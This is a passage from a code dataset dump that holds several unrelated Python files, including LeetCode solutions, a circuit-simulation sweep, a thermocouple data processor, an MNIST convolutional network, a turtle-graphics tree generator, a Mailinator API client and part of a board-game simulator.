for 'num' times.\nEvery time we meet a ']', we know a subproblem finished and just return the 'word' we got in this subproblem.\nPlease notice that the 'pos' is passed by reference, use it to record the position of the original string we are looking at.\n\n\n'''\n\nclass Solution:\n def decodeString(self, s):\n \"\"\"\n :type s: str\n :rtype: str\n \"\"\"\n self.pos = 0\n res = self.helper(s)\n return res\n\n def helper(self, s):\n num = 0\n word = \"\"\n while self.pos < len(s):\n curr = s[self.pos]\n if \"0\" <= curr <= \"9\":\n num = num * 10 + int(curr)\n elif curr == \"[\":\n self.pos += 1\n nextstr = self.helper(s)\n word += nextstr * num\n num = 0\n elif curr == \"]\":\n return word\n else:\n word += curr\n self.pos += 1\n return word\n\n\n# 2020/06/16, dfs, rewrite, too clever\n\n'''\nRuntime: 20 ms, faster than 98.46% of Python3 online submissions for Decode String.\nMemory Usage: 13.8 MB, less than 62.31% of Python3 online submissions for Decode String.\n'''\n\n\nclass Solution:\n def decodeString(self, s: str) -> str:\n self.pos = 0\n return self.dfs(s)\n\n def dfs(self, s):\n word, num = \"\", 0\n while self.pos < len(s):\n c = s[self.pos]\n if c == ']':\n return word\n elif c.isdigit():\n num = num * 10 + int(c)\n elif c.isalpha():\n word += c\n else: # c == '['\n self.pos += 1\n next_word = self.dfs(s)\n word += next_word * num\n num = 0\n self.pos += 1\n return word\n\n# 2020/06/16, iteration stack\n\n'''\nRuntime: 28 ms, faster than 74.22% of Python3 online submissions for Decode String.\nMemory Usage: 13.6 MB, less than 93.58% of Python3 online submissions for Decode String.\n'''\n\nclass Solution:\n def decodeString(self, s: str) -> str:\n num = 0\n stack = []\n for c in s:\n if c.isdigit():\n num = num * 10 + int(c)\n elif c == '[':\n stack.append(str(num))\n num = 0\n elif c.isalpha():\n stack.append(c)\n else:\n word = self.pop_back(stack)\n count = int(stack.pop())\n stack.append(count * word)\n return \"\".join(stack)\n\n def pop_back(self, stack):\n word = []\n while stack and stack[-1].isalpha():\n word.append(stack.pop())\n return \"\".join(word[::-1])\n\n\n# daily special\n# 2021/12/19\n\n# Runtime: 28 ms, faster than 83.65% of Python3 online submissions for Decode String.\n# Memory Usage: 14.1 MB, less than 79.83% of Python3 online submissions for Decode String.\n\n# divide and conquer\n# consider the string as a graph, every node is a substring, and the leaf is lower case english letter, i.e.,\n# leaf is a substring without digits and brackets\n# questing: given a string, how to find out the neighbors (substrings)?\n# 1, substring is separated by digits\n# 2, every time we saw a digit, we are going to find out the subtring follow by this digit\n# 3, we search after the digit, until we arrive at the position where left bracket == right bracket\n\n# remarks: the solution is hard to come out and explain during an interview\n\n\nclass Solution:\n def decodeString(self, s: str) -> str:\n return self.dfs(s)\n\n def dfs(self, s):\n i = 0\n ans = \"\"\n while i < len(s):\n if '1' <= s[i] <= '9':\n val, j = 0, i\n while j < len(s) and '0' <= s[j] <= '9':\n val = val * 10 + int(s[j])\n j += 1\n left, right = 1, 0\n j += 1\n kid = \"\"\n while j < len(s) and right < left:\n if s[j] == ']':\n right += 1\n if s[j] == '[':\n left += 1\n kid += s[j]\n j += 1\n ans += val * self.dfs(kid)\n i = max(i + 1, j)\n else:\n if 'a' <= s[i] <= 'z':\n ans += s[i]\n i += 1\n return ans\n\n\n\n","sub_path":"0394. Decode String.py","file_name":"0394. Decode String.py","file_ext":"py","file_size_in_byte":6466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"205784218","text":"import numpy as np\n\nimport WRSpice\n\n#%%\n\n# tempCirFile only netlist\n# export your netlist to a cir file using 'deck' command in xic\n# open the cir file and remove all lines except the netlist lines\n# replace all values by Params, you want to sweep, with white space around\n# Component names don't need any changes\n# VERY IMPORTTANT Leave a blank line in the start and end of the cir file\n\n#%%\nrate = WRSpice.WRSpice(tempCirFile = 'ne__4jj__single_pulse__no_rd__alt_ind', OutDatFile = 'ne_4jj_1pls_') # no file extentions\nrate.pathWRSSpice = '/raid/home/local/xictools/wrspice.current/bin/wrspice' # for running on grumpy\n# rate.pathWRSSpice='C:/usr/local/xictools/wrspice/bin/wrspice.bat' # for local computer\n\nrate.save = 'L9#branch L11#branch L2#branch' # list all vectors you want to save\nrate.pathCir = ''\n\nL_si = 50e-9\n\ncritical_current = 40e-6\ncurrent = 0\nnorm_current = np.max([np.min([current/critical_current,1]),1e-9])\nL_jj = (3.2910596281416393e-16/critical_current)*np.arcsin(norm_current)/(norm_current)\nI_de_vec = [76,82,88]\nI_sy_vec = [76,78,80]\ntau_si_vec = [500,1000]\nFileFormat = 'Isy{:05.2f}uA_Ide{:05.2f}uA_tausi{:07.2f}ns'\nfor ii in range(len(I_de_vec)):\n Ide = I_de_vec[ii]\n for jj in range(len(I_sy_vec)):\n Isy = I_sy_vec[jj]\n for kk in range(len(tau_si_vec)):\n tau_si = tau_si_vec[kk] \n r_si = (L_si+L_jj)/(tau_si*1e-9)\n \n print('ii = {} of {}; jj = {} of {}; kk = {} of {};'.format(ii+1,len(I_de_vec),jj+1,len(I_sy_vec),kk+1,len(tau_si_vec)))\n \n FilePrefix = FileFormat.format(Isy,Ide,tau_si)\n rate.FilePrefix = FilePrefix\n \n Params = { \n 'Ide':str(np.round(Ide,2))+'u',\n 'Isy':str(np.round(Isy,2))+'u',\n 'rsi':'R=v(1)+'+str(np.round(r_si,4))\n }\n \n rate.Params = Params\n rate.stepTran = '10p'\n rate.stopTran = '300n'\n rate.doAll()\n","sub_path":"dendrite/wrspice_data/_bak/_20201012/s__neu__4jj__single_pulse.py","file_name":"s__neu__4jj__single_pulse.py","file_ext":"py","file_size_in_byte":2000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"212708451","text":"class Solution:\n #时间复杂度 O(logn) : 循环内的计算操作使用 O(1) 时间;循环次数为数字 n 的位数,即 Nlog 10n ,因此循环使用 O(logn) 时间。\n #空间复杂度 O(1) : 几个变量使用常数大小的额外空间。\n def countDigitOne(self, n: int) -> int:\n digit, res = 1, 0\n high, cur, low = n // 10, n % 10, 0\n while high != 0 or cur != 0:\n if cur == 0:#当 cur = 0 时: 此位 1 的出现次数只由高位 high 决定,计算公式为:high×digit\n res += high * digit\n elif cur == 1:#当 cur = 1 时: 此位 1 的出现次数由高位 high 和低位 low 决定,计算公式为:high×digit+low+1\n res += high * digit + low + 1\n else:#当 cur=2,3,⋯,9 时: 此位 1 的出现次数只由高位 high 决定,计算公式为:(high+1)×digit\n res += (high + 1) * digit\n low += cur * digit\n cur = high % 10\n high //= 10\n digit *= 10\n return res\n\n","sub_path":"Offer/Offer43-CountDigitOne.py","file_name":"Offer43-CountDigitOne.py","file_ext":"py","file_size_in_byte":1061,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"206756118","text":"\"\"\"\n=================================================================================================================\nЗадача-35: Написать Класс \"Равнобочная трапеция\", заданной координатами 4-х точек.\n Предусмотреть в классе методы: проверка, является ли фигура равнобочной трапецией;\n вычисления: длины сторон, периметр, площадь.\n=================================================================================================================\n\"\"\"\n\nimport math\n\n\nclass Figure:\n \"\"\"Документация for Figure\"\"\"\n\n def __init__(self, x1, y1, x2, y2):\n self.x1 = x1\n self.y1 = y1\n self.x2 = x2\n self.y2 = y2\n\n def move(figure, point):\n figure.x1 = point.x1\n figure.y1 = point.y1\n figure.x2 = point.x2\n figure.y2 = point.y2\n\n def square(self):\n pass\n print('У абстрактной фигуры нет площади')\n\n\nclass Trapeze(Figure):\n def __init__(self, x1, y1, x2, y2, x3, y3, x4, y4):\n super().__init__(x1, y1, x2, y2)\n self.x3 = x3\n self.y3 = y3\n self.x4 = x4\n self.y4 = y4\n # стороны:\n self.a = math.sqrt(((self.x2 - self.x1)**2 + (self.y2 - self.y1)**2))\n self.b = math.sqrt(((self.x3 - self.x2)**2 + (self.y3 - self.y2)**2))\n self.c = math.sqrt(((self.x4 - self.x3)**2 + (self.y4 - self.y3)**2))\n self.d = math.sqrt(((self.x4 - self.x1)**2 + (self.y4 - self.y1)**2))\n # высота (формула из учебника):\n self.h = math.sqrt(self.a**2 - ((((self.d - self.b)**2) + self.a**2 - self.c**2)/(2*(self.d - self.b)))**2)\n # диагонали:\n self.d1 = math.sqrt((self.x3 - self.x1) ** 2 + (self.y3 - self.y1) ** 2)\n self.d2 = math.sqrt((self.x4 - self.x2) ** 2 + (self.y4 - self.y2) ** 2)\n\n @property\n def test_trap(self):\n if self.a == self.c:\n res = 'является равнобедренной трапецией'\n # свойство:\n elif self.d1 ** 2 + self.d2 ** 2 != 2 * self.b * self.d + self.a ** 2 + self.c ** 2:\n res = 'не является трапецией'\n elif self.a != self.c:\n res = 'не является равнобедренной трапецией'\n else:\n res = 'не является трапецией'\n return \"Фигура abcd: {}\\n\".format(res)\n\n @property\n def heigth(self):\n return \"Высота трапеции abcd равна: H = {} усл. ед.\\n\".format(round(self.h, 3))\n\n @property\n def area(self):\n S = 0.5*(self.b + self.d)*self.h\n return \"Площадь трапеции abcd равна: S = {} усл. ед. в кв.\\n\".format(round(S, 3))\n\n @property\n def perim(self):\n return \"Периметр трапеции abcd равен: Per = {} усл. ед.\\n\".format(round((self.a + self.b + self.c + self.d), 3))\n\n def __str__(self):\n return \"Трапеция abcd со сторонами: a = {}, b = {}, c = {}, d = {} усл. ед.\\n\"\\\n .format(round(self.a, 3), round(self.b, 3), round(self.c, 3), round(self.d, 3))\n\ntra = Trapeze(2, 8, 3, 12, 6, 14, 10, 13)\ntra_T = Trapeze(2, 8, 3, 12, 6, 14, 10, 13).test_trap\ntra_P = Trapeze(2, 8, 3, 12, 6, 14, 10, 13).perim\ntra_S = Trapeze(2, 8, 3, 12, 6, 14, 10, 13).area\ntra_H = Trapeze(2, 8, 3, 12, 6, 14, 10, 13).heigth\n# пример не трапеции - 2, 2, 3, 6, 8, 6, 9, 0\n# равнобедренная трапеция - 2, 8, 3, 12, 6, 14, 10, 13\n# просто трапеция - 0, 8, 3, 12, 6, 14, 10, 13\nprint(tra, tra_T, tra_P, tra_S, tra_H)\n","sub_path":"Python: level 1 (typical exs.)/Exercise_35.py","file_name":"Exercise_35.py","file_ext":"py","file_size_in_byte":3819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"478990340","text":"from random import sample\n\n\narray = sample(range(100),50)\narray = sorted(array)[::-1]\nlength = len(array)\n\nelement = int(input(\"Enter element to be searched :\"))\n\nlow = 0\nhigh = length-1\nflag = 0\n\nwhile high >= low:\n mid = int((low + high)/2)\n if array[mid] == element:\n print(\"Element found at {} position\".format(mid + 1))\n flag = 1\n break\n elif array[mid] < element:\n high = mid - 1\n print(array[low:high +1])\n elif array[mid] > element:\n low = mid + 1\n print(array[low:high + 1])\n\nif flag == 0:\n print(\"Element not found\")\n \n \n \n ","sub_path":"binary_search_1D.py","file_name":"binary_search_1D.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"269142304","text":"import requests\nimport time\nfrom email_message import EmailMessage\n\n\nclass MailinatorInbox:\n\n INBOX_URL = 'https://api.mailinator.com/api/inbox'\n EMAIL_URL = 'http://api.mailinator.com/api/email'\n DELETE_URL = 'http://api.mailinator.com/api/delete'\n\n def __init__(self, token=None, default_mailbox=None, is_private_domain=False):\n if(not token):\n raise Exception('Token must be provided!')\n elif(not isinstance(token, str)):\n raise Exception('Token must be a string!')\n self._token = token\n self.default_mailbox = default_mailbox\n self.is_private_domain = is_private_domain\n\n def set_default_mailbox(self, mb=None):\n if(not isinstance(mb, str)):\n raise Exception('Mailbox must be a string!')\n self.default_mailbox = mb\n\n def get_default_mailbox(self):\n return self.default_mailbox\n\n def set_private_domain(self, private=None):\n if(not isinstance(private, bool)):\n raise('Privacy must be a boolean!')\n self.is_private_domain = private\n\n def get_private_domain(self):\n return self.is_private_domain\n\n def get_messages(self, default_mailbox=None, private_domain=None):\n if(default_mailbox is None):\n default_mailbox = self.default_mailbox\n if(private_domain is None):\n private_domain = self.is_private_domain\n params = self._construct_params('inbox', mailbox=default_mailbox, private_domain=private_domain)\n response = requests.get(MailinatorInbox.INBOX_URL, params)\n if(response.status_code == 429):\n raise Exception('Too many requests!')\n json_resp = response.json()\n if(not response or not json_resp):\n return dict()\n messages = json_resp.get('messages', [])\n return sorted(messages, key=lambda x: x['seconds_ago'])\n\n def read_email(self, email_id=None, private_domain=None):\n if(not email_id):\n raise Exception('Must provide an id to delete!')\n elif(not isinstance(email_id, str)):\n raise Exception('id must be a string!')\n if(private_domain is None):\n private_domain = self.is_private_domain\n params = self._construct_params('read', email_id=email_id, private_domain=private_domain)\n response = requests.get(MailinatorInbox.EMAIL_URL, params)\n if(response.status_code == 429):\n raise Exception('Too many requests!')\n return self._parse_email_message(response.json())\n\n def delete_email(self, email_id=None, private_domain=None):\n if(not email_id):\n raise Exception('Must provide an id to delete!')\n elif(not isinstance(email_id, str)):\n raise Exception('id must be a string!')\n if(private_domain is None):\n private_domain = self.is_private_domain\n params = self._construct_params('delete', email_id=email_id, private_domain=private_domain)\n response = requests.get(MailinatorInbox.DELETE_URL, params)\n if(response.status_code == 429):\n raise Exception('Too many requests!')\n return response.json()\n\n def _parse_email_message(self, obj):\n obj = obj.get('data', None)\n if(obj is None):\n return EmailMessage()\n sender = obj.get('origfrom', None)\n headers = obj.get('headers', None)\n subject = obj.get('subject', None)\n to = obj.get('to', None)\n msg_id = obj.get('id', None)\n received_time = obj.get('time', None)\n if(received_time is not None):\n date_time = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime(received_time / 1000))\n parts = obj.get('parts', None)\n if(parts is not None):\n email_headers = parts[0].get('headers', None)\n body = parts[0].get('body', None)\n return EmailMessage(sender=sender, headers=headers, subject=subject, to=to, message_id=msg_id,\n received_time=date_time, email_headers=email_headers, message=body)\n\n def _construct_params(self, api_type, mailbox=None, email_id=None, private_domain=None):\n types = {\n 'inbox': {\n 'token': self._token,\n 'to': mailbox,\n 'private_domain': private_domain,\n },\n 'delete': {\n 'token': self._token,\n 'id': email_id,\n 'private_domain': private_domain,\n },\n 'read': {\n 'token': self._token,\n 'id': email_id,\n 'private_domain': private_domain,\n }\n }\n return types[api_type]\n","sub_path":"python-mailinator/mailinator.py","file_name":"mailinator.py","file_ext":"py","file_size_in_byte":4663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"244639146","text":"# read and decimate modac csv\n# for ok lines, reprocess AD16_0 from mV to C using ambient temp\nimport sys\nthis = sys.modules[__name__]\nimport os\nimport csv\nfrom datetime import datetime, timedelta\n\n# functions for kType thermocouple conversions\nfrom thermocouples_reference import thermocouples\n__kTypeLookup = thermocouples['K']\n\n# DoFile(filename) at the end of file\n# increment the p# for each updatd processing\noutFileEnding = \"_p5.csv\"\n\ncount = 0\noutCount = 0\noutfile = None\nwriter = None\ninColumnNames = None\noutColumnNames = None\n\ntimestampKey = 'timestamp'\ndateKey = 'date'\ntimeKey = 'time'\ntempKey = 'ambient'\nadKey = 'ad16_0'\nktypeKey = 'kType_0'\nkissCKey = 'kissC'\nmoCatZeroKey = \"moCatZero\"\nmoCwAmbKey = 'moCwithAmbient'\nmvKissC0Key = 'mvKissC0'\nmvKissCAmbKey = 'mvKissCAmb'\nvKissC0Key = 'vKissC0'\n\nlastTimeMin = 0\nlastDateTime = None\n\n_ampGain = 122.4 # from ad8495 spec sheet\n_ampGain = 144.8 # from ad8495 spec sheet\nadOffset = 0.0\nampGainList = [140,150,155,160,170,180]\nampGainKeys =[]\n\ndef setAmpGainKeys():\n this.ampGainKeys =[]\n print(\"ampGainList:\", this.ampGainList)\n for gain in this.ampGainList:\n this.ampGainKeys = this.ampGainKeys + [\"aGain_\"+str(gain)]\n print(\"ampGainKeys:\", this.ampGainKeys)\n \ndef adOverGain(adValue, ampGain = _ampGain, offset = 0):\n '''divide adValue 0-5V by gain, with offset) '''\n return (adValue- offset)/ampGain\n\ndef mVToC(mV,tempRef=0):\n _mV = mV #fnMagic(mV)\n return __kTypeLookup.inverse_CmV(_mV, Tref=tempRef)\n\ndef cToMv(c, tempRef=0):\n return __kTypeLookup.emf_mVC(c, tempRef)\n\ndef adToC(adRead,tempRef=0, ag = _ampGain):\n v = adOverGain(adRead, ag)\n mv = v*1000.0\n try:\n c = mVToC(mv,tempRef)\n except:\n print(\"fail \", adRead, ag)\n #print (\"ad v mv c: \", adRead, v, mv, c)\n return c\n\ndef processLine (row):\n #print(\"processing line \",count, row)\n #Decimate no- do that in decimateCSV then merge w/kissC data\n# dtStr = row[timestampKey]\n# dt = datetime.strptime(dtStr,\"%Y-%m-%d %H:%M:%S\")\n# if this.lastDateTimeis None :\n# this.lastDateTime = dt\n# elif dt.time().minute == this.lastDateTime.time().minute:\n# # skip same minute\n# #print(\"Same Minute\", dt,dt.time().minute, this.lastDateTime,this.lastDateTime.time().minute)\n# return\n# this.lastDateTime = dt\n# dateStr = datetime.strftime(dt,\"%Y-%m-%d\")\n# timeStr = datetime.strftime(dt,\"%I:%M:%S%p\")\n# row[dateKey]= dateStr\n# row[timeKey]=timeStr\n\n kissC = float(row[kissCKey])\n# if kissC < 200.0 or kissC > 320.0:\n# #skip this row\n# return\n \n # reprocess AD value to C using ambient temp\n ambtemp = float(row[tempKey])\n adread = float(row[adKey])\n\n moCatZero = float(row[ktypeKey])\n # get kissC\n\n #row[moCatZeroKey] = moCatZero #add a column with new name\n #print(\"AD24_4 value read =\",adread)\n moCAmbient = adToC(adread,ambtemp)\n row[moCwAmbKey] = moCAmbient\n for gain, gainKey in zip(this.ampGainList, this.ampGainKeys) :\n row[gainKey] = adToC(adread,ambtemp,gain)\n \n #print(\"outRow:\", row)\n this.writer.writerow(row)\n this.outfile.flush()\n this.outCount += 1\n pass\n\ndef doFile(filename):\n setAmpGainKeys()\n print (this.ampGainKeys)\n base, ext = os.path.splitext(filename)\n outfilename = base + outFileEnding\n with open(filename, newline='') as csvfile:\n reader = csv.DictReader(csvfile)\n rowCount = 0\n for row in reader:\n if this.count == 0:\n # get existing headers\n inColumnNames = reader.fieldnames\n print(\"in Columns are \", inColumnNames)\n # add new calculated column headers\n outColumnNames = inColumnNames + [ moCwAmbKey] + ampGainKeys\n print(\"out Columns are \", outColumnNames)\n \n this.outfile = open(outfilename, 'w', newline='')\n this.writer = csv.DictWriter(this.outfile, outColumnNames)\n this.writer.writeheader()\n #print (count, row)\n processLine(row)\n rowCount += 1\n this.count = this.count+1\n #if count > 500:\n # break\n this.outfile.close()\n this.outfile = None\n print(\"Read %d lines wrote %d lines\"%(this.count,this.outCount))\n this.count = 0\n this.outCount = 0\n\ndoFile('combined_0225.csv')","sub_path":"Postprocesing/process5.py","file_name":"process5.py","file_ext":"py","file_size_in_byte":4408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"513217630","text":"\"\"\"\n// Time Complexity : O(M*N)\n// Space Complexity : O(1)\n// Did this code successfully run on Leetcode : Yes\n// Any problem you faced while coding this : No\n\n// Your code here along with comments explaining your approach\nAlgorithm Explanation\nGiven below\n\"\"\"\nclass Solution:\n def minimumTotal(self, triangle: List[List[int]]) -> int:\n \"\"\"\n Idea (Following the similar paradigm of paint house and minimum failing path sum)\n Algo\n - Iterate from penultimate row up towards 0\n - Update the value at jth column in the given row using min of row+1's j-1th column and row+1's j+1th column\n - Return row[0]\n \"\"\"\n n = len(triangle)\n for i in range(n-2,-1,-1):\n for j in range(i+1):\n triangle[i][j] = min(triangle[i][j]+triangle[i+1][j],\n triangle[i][j]+triangle[i+1][j+1])\n return triangle[0][0]","sub_path":"triangle.py","file_name":"triangle.py","file_ext":"py","file_size_in_byte":924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"307354576","text":"# Rosalind Ellis (rnellis@brandeis.edu)\n# Alex Feldman (felday@brandeis.edu)\n# Sofia Lavrentyeva (slavren@brandeis.edu)\n# COSI 101A\n# MNIST with Convolution : Recognize Handwritten Digits\n# Following MNIST Tutorial from TensorFlow\n# https://www.tensorflow.org/get_started/mnist/pros\n# 3/26/17\n\nimport sys\nimport glob\n\nimport tensorflow as tf\nfrom tensorflow.examples.tutorials.mnist import input_data\nfrom tensorflow.contrib import learn\nfrom tensorflow.contrib.learn.python.learn.estimators import model_fn as model_fn_lib\nmnist = input_data.read_data_sets(\"MNIST_data/\", one_hot=True)\nsess = tf.InteractiveSession()\n\n### ---- NEW VARIABLES FOR WEIGHTS AND BIASES ---- ###\ndef weight_variable(shape):\n initial = tf.truncated_normal(shape, stddev=0.1) # small amount of noise to prevent 0 gradients\n return tf.Variable(initial)\n\ndef bias_variable(shape):\n initial = tf.constant(0.1, shape=shape) # positive to avoid dead neurons\n return tf.Variable(initial)\n\n#the convolution\ndef conv2d(x, W):\n return tf.nn.conv2d(x, W, strides=[1, 1, 1, 1], padding='SAME')\n#reduce 2X2 and take largest of the pool\ndef avg_pool_2x2(x):\n return tf.nn.avg_pool(x, ksize=[1, 2, 2, 1],\n strides=[1, 2, 2, 1], padding='SAME')\n\nx = tf.placeholder(tf.float32, [None, 784]) #input\ny_ = tf.placeholder(tf.float32, [None, 10]) #correct answers\n\n### ---- FIRST LAYER ---- ###\n#weights and biases\nW_conv1 = weight_variable([5, 5, 1, 32])\nb_conv1 = bias_variable([32])\n\n#reshape image\n#x is the tensor to reshape\n#the -1 flattens it\nx_image = tf.reshape(x, [-1,28,28,1])\n\n#hidden convolution layer\nh_conv1 = tf.nn.relu6(conv2d(x_image, W_conv1) + b_conv1)\n#pull out info about features after 1st convolution\nh_pool1 = avg_pool_2x2(h_conv1)\n\n### ---- SECOND LAYER ---- ###\n#weights and biases\nW_conv2 = weight_variable([5, 5, 32, 64])\nb_conv2 = bias_variable([64])\n\n#hidden convolution\nh_conv2 = tf.nn.relu6(conv2d(h_pool1, W_conv2) + b_conv2)\nh_pool2 = avg_pool_2x2(h_conv2)\n\nW_fc1 = weight_variable([7 * 7 * 64, 1024])\nb_fc1 = bias_variable([1024])\n\nh_pool2_flat = tf.reshape(h_pool2, [-1, 7*7*64])\n\nh_fc1 = tf.nn.relu6(tf.matmul(h_pool2_flat, W_fc1) + b_fc1)\n\n## DROPOUT - good for reducing overfitting ##\nkeep_prob = tf.placeholder(tf.float32)\nh_fc1_drop = tf.nn.dropout(h_fc1, keep_prob)\n\n### ---- OUTPUT LAYER ---- ###\nW_fc2 = weight_variable([1024, 10])\nb_fc2 = bias_variable([10])\n\ny_conv = tf.matmul(h_fc1_drop, W_fc2) + b_fc2\n\n### ---- SET UP TRAINING ---- ###\n#calculate error\ncross_entropy = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels=y_, logits=y_conv))\n#use different optimizer\ntrain_step = tf.train.AdamOptimizer(1e-4).minimize(cross_entropy)\n\ncorrect_prediction = tf.equal(tf.argmax(y_conv,1), tf.argmax(y_,1))\naccuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n\ninit_op = tf.global_variables_initializer()\n\nsaver = tf.train.Saver()\n### ---- TRAIN THE MODEL AND SAVE THE NETWORK ---- ###\nwith sess.as_default():\n sess.run(init_op)\n for i in range(10000):\n batch = mnist.train.next_batch(50)\n if i%100 == 0:\n train_accuracy = accuracy.eval(feed_dict={x:batch[0], y_: batch[1], keep_prob: 1.0})\n print(\"step %d, training accuracy %g\"%(i, train_accuracy))\n train_step.run(feed_dict={x: batch[0], y_: batch[1], keep_prob: 0.5})\n save_path = saver.save(sess, \"./neuralnetwork-relu6/model.ckpt\")\n print(\"Model saved in file: %s\" % save_path)\n\n\nprint(\"test accuracy %g\"%accuracy.eval(feed_dict={\n x: mnist.test.images, y_: mnist.test.labels, keep_prob: 1.0}))\n","sub_path":"MNIST_CNN.py","file_name":"MNIST_CNN.py","file_ext":"py","file_size_in_byte":3564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"50501435","text":"import turtle\nimport random\n\nstack = []\n\n#max_it = maximum iterations, word = starting axiom such as 'F', proc_rules are the rules that \n#change the elements of word if it's key is found in dictionary notation, x and y are the \n#coordinates, and turn is the starting angle \n\ndef createWord(max_it, word, proc_rules, x, y, turn):\n\n turtle.up()\n turtle.home()\n turtle.goto(x, y)\n turtle.right(turn)\n turtle.down()\n\n t = 0\n while t < max_it:\n word = rewrite(word, proc_rules)\n drawit(word, 5, 20)\n t = t+1\n\n\ndef rewrite(word, proc_rules):\n\n #rewrite changes the word at each iteration depending on proc_rules\n\n wordList = list(word)\n\n for i in range(len(wordList)):\n curChar = wordList[i]\n if curChar in proc_rules:\n wordList[i] = proc_rules[curChar]\n\n return \"\".join(wordList)\n\n\ndef drawit(newWord, d, angle):\n\n #drawit 'draws' the words\n\n newWordLs = list(newWord)\n for i in range(len(newWordLs)):\n cur_Char = newWordLs[i]\n if cur_Char == 'F':\n turtle.forward(d)\n elif cur_Char == '+':\n turtle.right(angle)\n elif cur_Char == '-':\n turtle.left(angle)\n elif cur_Char == '[':\n state_push()\n elif cur_Char == ']':\n state_pop()\n\n\ndef state_push():\n\n global stack\n\n stack.append((turtle.position(), turtle.heading()))\n\n\ndef state_pop():\n\n global stack\n\n position, heading = stack.pop()\n\n turtle.up()\n turtle.goto(position)\n turtle.setheading(heading)\n turtle.down()\n\n\ndef randomStart():\n\n #x can be anywhere from -300 to 300, all across the canvas\n x = random.randint(-300, 300)\n\n #these are trees, so we need to constrain the 'root' of each\n # to a fairly narrow range from -320 to -280\n y = random.randint(-320, -280)\n\n #heading (the angle of the 'stalk') will be constrained \n #from -80 to -100 (10 degrees either side of straight up)\n heading = random.randint(-100, -80)\n\n return ((x, y), heading)\n\n\ndef main():\n\n #define the list for rule sets.\n #each set is iteration range [i_range], the axiom and the rule for making a tree. \n #the randomizer will select one of these for building.\n\n rule_sets = []\n rule_sets.append(((3, 5), 'F', {'F':'F[+F][-F]F'}))\n rule_sets.append(((4, 6), 'B', {'B':'F[-B][+ B]', 'F':'FF'}))\n rule_sets.append(((2, 4), 'F', {'F':'FF+[+F-F-F]-[-F+F+F]'}))\n\n #define the number of trees to build\n tree_count = 50\n\n #speed up the turtle\n turtle.tracer(10, 0)\n\n #for each tree...\n for x in range(tree_count):\n\n #pick a random number between 0 and the length\n #of the rule set -1 - this results in selecting\n #a result randomly from the list of possible rules.\n\n rand_i = random.randint(0, len(rule_sets) - 1)\n selected_ruleset = rule_sets[rand_i]\n\n #unpack the tuple stored for this ruleset\n i_range, word, rule = selected_ruleset\n\n #pick a random number inside the given iteration_range to be the \n #iteration length for this command list.\n low, high = i_range\n i = random.randint(low, high)\n\n #get a random starting location and heading for the tree\n start_position, start_heading = randomStart()\n\n #unpack the x & y coordinates from the position\n start_x, start_y = start_position\n\n #build the current tree\n createWord(i, word, rule, start_x, start_y, start_heading)\n\nif __name__ == '__main__': main()\n\n","sub_path":"tree.py","file_name":"tree.py","file_ext":"py","file_size_in_byte":3520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"379340703","text":"import numpy as np\nfrom steamsim.claiming import optimal_claim, claiming_loop\nfrom steamsim.cost_functions import buy_tank_when_possible, simple_specialist_cost\nfrom steamsim.extraction import optimal_extraction\nfrom steamsim.visualisations import game_map_pic\n\n\nclass Simulation:\n def __init__(self, sim_name, market, game_map, specialists, players=4):\n self.players = [Player(x) for x in range(1, players + 1)]\n self.market = market\n self.game_map = game_map\n self.specialists = specialists\n self.current_round = 0\n self.sim_name = sim_name\n\n def round(self):\n self.place_bonus()\n self.specialist_auction()\n self.auction_zone()\n self.claiming()\n self.support_airship()\n self.tank_phase()\n self.resource_phase()\n self.tank_production_phase()\n self.current_round += 1\n print(80 * \"=\")\n print(\"round: {0}\".format(self.current_round))\n print(80 * \"=\")\n\n def place_bonus(self):\n self.market.extract_bonus()\n\n def specialist_auction(self):\n pass\n\n def auction_zone(self):\n pass\n\n def claiming(self):\n game_map_pic(self.game_map, \"{0}_round_{1}_before_claim\".format(self.sim_name, self.current_round))\n self.game_map.array_rep = claiming_loop(self.game_map.array_rep, self.players)\n game_map_pic(self.game_map, \"{0}_round_{1}_after_claim\".format(self.sim_name, self.current_round))\n\n def support_airship(self):\n pass\n\n def tank_phase(self):\n for player in self.players:\n buy_tank = True\n while buy_tank:\n buy_tank = player.tank_strategy(self.game_map, self.market, player)\n if buy_tank:\n print(\"Player {0} decided to buy a tank\".format(player.number))\n paid = self.market.buy(\"tank\", 1)\n player.cash -= paid\n player.tanks += 1\n\n def resource_phase(self):\n for player in self.players:\n extraction = player.extraction_strategy(self.game_map.array_rep, self.market, player)\n if extraction:\n extraction, energy_cost = extraction\n else:\n print(\"Player {0} decides not to extract.\".format(player.number))\n continue\n print(\"Player {0} pays {1} energy for their extraction phase\".format(player.number, energy_cost))\n player.energy -= energy_cost\n for resource, quantity in extraction.items():\n print(\"Player {0} decided to extract: {1} of {2} \".format(player.number, quantity, resource))\n if resource == \"energy\":\n player.energy += quantity\n elif resource == \"water\":\n player.water += quantity\n elif resource == \"quartz\":\n player.quartz += quantity\n elif resource == \"ore\":\n player.ore += quantity\n\n def tank_production_phase(self):\n self.market.produce_tanks()\n\n\nclass Player:\n def __init__(self, number):\n self.claim_strategy = optimal_claim\n self.specialist_strategy = simple_specialist_cost\n self.permit_strategy = None\n self.tank_strategy = buy_tank_when_possible\n self.supercharger_strategy = None\n self.extraction_strategy = optimal_extraction\n self.number = number\n self.cash = 120\n self.permits = 0\n self.mansions = 0\n\n self.carriers = Carriers()\n\n self.ore_extractors = 0\n self.energy_extractors = 0\n self.quartz_extractors = 